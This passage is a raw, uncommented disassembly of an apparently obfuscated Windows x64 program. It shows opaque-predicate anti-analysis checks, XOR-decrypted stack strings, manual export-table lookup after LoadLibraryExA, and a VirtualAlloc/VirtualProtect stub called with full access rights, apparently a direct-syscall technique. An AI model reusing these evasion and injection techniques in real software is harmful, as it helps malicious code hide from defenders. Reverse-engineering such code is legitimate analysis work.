mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014531
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014531
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014551
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x1400145fb
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400145db
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400145db
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400145fb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x1400146b8
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014698
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014698
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400146b8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
call fcn.14007e750
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.1400209fc
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x140014782
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014762
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014762
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014782
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
mov r8d, 0x92f30d33
mov r9d, 0x3d33a2ba
cmp rax, r15
jne 0x140014847
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, r9d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014827
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014827
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014847
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x140014900
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400148e0
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400148e0
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014900
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x1400149aa
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001498a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001498a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400149aa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x140014a63
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014a43
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014a43
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014a63
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov qword [rbp + 0xe58], r14
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x140014b14
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014af4
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014af4
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014b14
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x140014bcd
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014bad
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014bad
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014bcd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.14001ff94
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x140014c9f
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014c7f
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014c7f
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014c9f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov edi, r14d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x140014f9c
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x140014d68
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x1b6c2ecb
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015054
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015054
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140015054
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.14000fd30
mov r15d, eax
mov rcx, qword gs:[0xd]
mov eax, 0xae5f3bfe
movabs r8, 0x4e682bb16d2bb992
cmp rcx, rax
jne 0x140014e23
mov rcx, qword gs:[0x1e]
xor rcx, r8
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x1e]
xor rcx, r8
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x1e]
xor rcx, r8
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x140015074
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x140015074
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x140015074
test r15d, r15d
jne 0x1400150d4
mov rax, qword gs:[0xd]
mov r15d, 0xae5f3bfe
cmp rax, r15
jne 0x140014ec8
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x140015094
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x140015094
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x140015094
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x140014f7c
mov rax, qword gs:[0x1e]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x1e]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x1e]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x1400150b4
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x1400150b4
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x1400150b4
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x140014cbd
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x14001ede8
mov rax, qword gs:[0x1e]
movabs rcx, 0x4e682bb16d2bb992
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015034
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015034
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ede8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.140085718
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xe4efa6ec
mov dword [rbp + 0x214], 0x487abc9a
mov dword [rbp + 0x218], 0x568b12ca
mov word [rbp + 0x21c], 0x7d
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x17e85ebeb
movabs r9, 0x136cccfafc
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x26d999f5f8
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x210]
xor dil, r8b
mov byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x140015177
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x53702640
mov dword [rbp + 0x84], 0xfe5d3f00
mov word [rbp + 0x88], 0x65
mov r8, r14
movabs r9, 0xd72b54b4c
mov r10d, 9
movabs r11, 0x1ae56a9698
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x14001521d
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x1400154a6
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400154a6
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400154a6
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400154a6
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x1400154a6
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140015318
inc rax
test edi, edi
jne 0x140015303
test r8d, r8d
je 0x14001532a
inc rdx
cmp rdx, rsi
jb 0x1400152f2
jmp 0x1400154a6
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400154a6
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x1400154a3
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14007e750
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.1400209fc
lea rcx, [rbp + 0x7420]
call fcn.14001ff94
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.14001ff94
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400153b8
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400a81d0
mov dword [0x1400d3c84], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400d3c80]
movsd qword [rdi], xmm0
movzx eax, word [0x1400d3c88]
mov word [rdi + 8], ax
mov al, byte [0x1400d3c8a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400a8870
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400d3c84], r14d
test edi, edi
js 0x1400154b9
jmp 0x1400154a6
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x1400154cf
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.14000f7f8
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0xd]
ja 0x14001ea52
mov esi, 0xae5f3bfe
mov r15d, 0x1b6c2ecb
cmp rax, rsi
jne 0x1400155a5
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015585
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015585
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400155a5
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c69f0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400c6800]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x219132e6
mov word [rbp + 0xbc4], 0x86a5
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rsi, 0x17e85ebeb
lea r10d, [rax + 0x26]
movabs r9, 0x38c7e10508
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x718fc20a10
cmp r9, rax
jb 0x140015605
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140002ebc
mov rax, qword gs:[0xd]
mov esi, 0xae5f3bfe
mov ebx, 0xec8a9920
cmp rax, rsi
jne 0x140015733
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015713
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015713
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015733
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140085718
int3
call fcn.14000fa58
mov rcx, qword gs:[0xd]
test al, al
jne 0x140015acc
cmp rcx, rsi
jne 0x1400157fd
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400157dd
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400157dd
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400157fd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c69c0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], Ordinal_41
mov r10, r14
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1966e4aaac
movabs r9, 0x32cdc95558
movabs r15, 0x8080808080808081
movabs r13, 0x17e85ebeb
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140015847
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400c67f0]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400c6680]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
movabs rbx, 0x5ca46f2328
mov r9d, Ordinal_33
movabs r10, 0x2e52379194
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
cmp r10, rbx
jb 0x1400158e8
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0xd]
cmp rax, rsi
mov ebx, 0xec8a9920
jne 0x140015a1e
mov rax, qword gs:[0x1e]
movabs rcx, 0x4e682bb16d2bb992
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400159fe
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400159fe
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015a1e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x14001f3e8
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015aac
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015aac
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f3e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
cmp rcx, rsi
jne 0x140015b6d
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015b4d
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015b4d
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015b6d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c6970]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x17e85ebeb
movabs r9, 0x17e85ebec0
lea r10d, [rax + 0x10]
movabs r11, 0x2fd0bd7d80
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
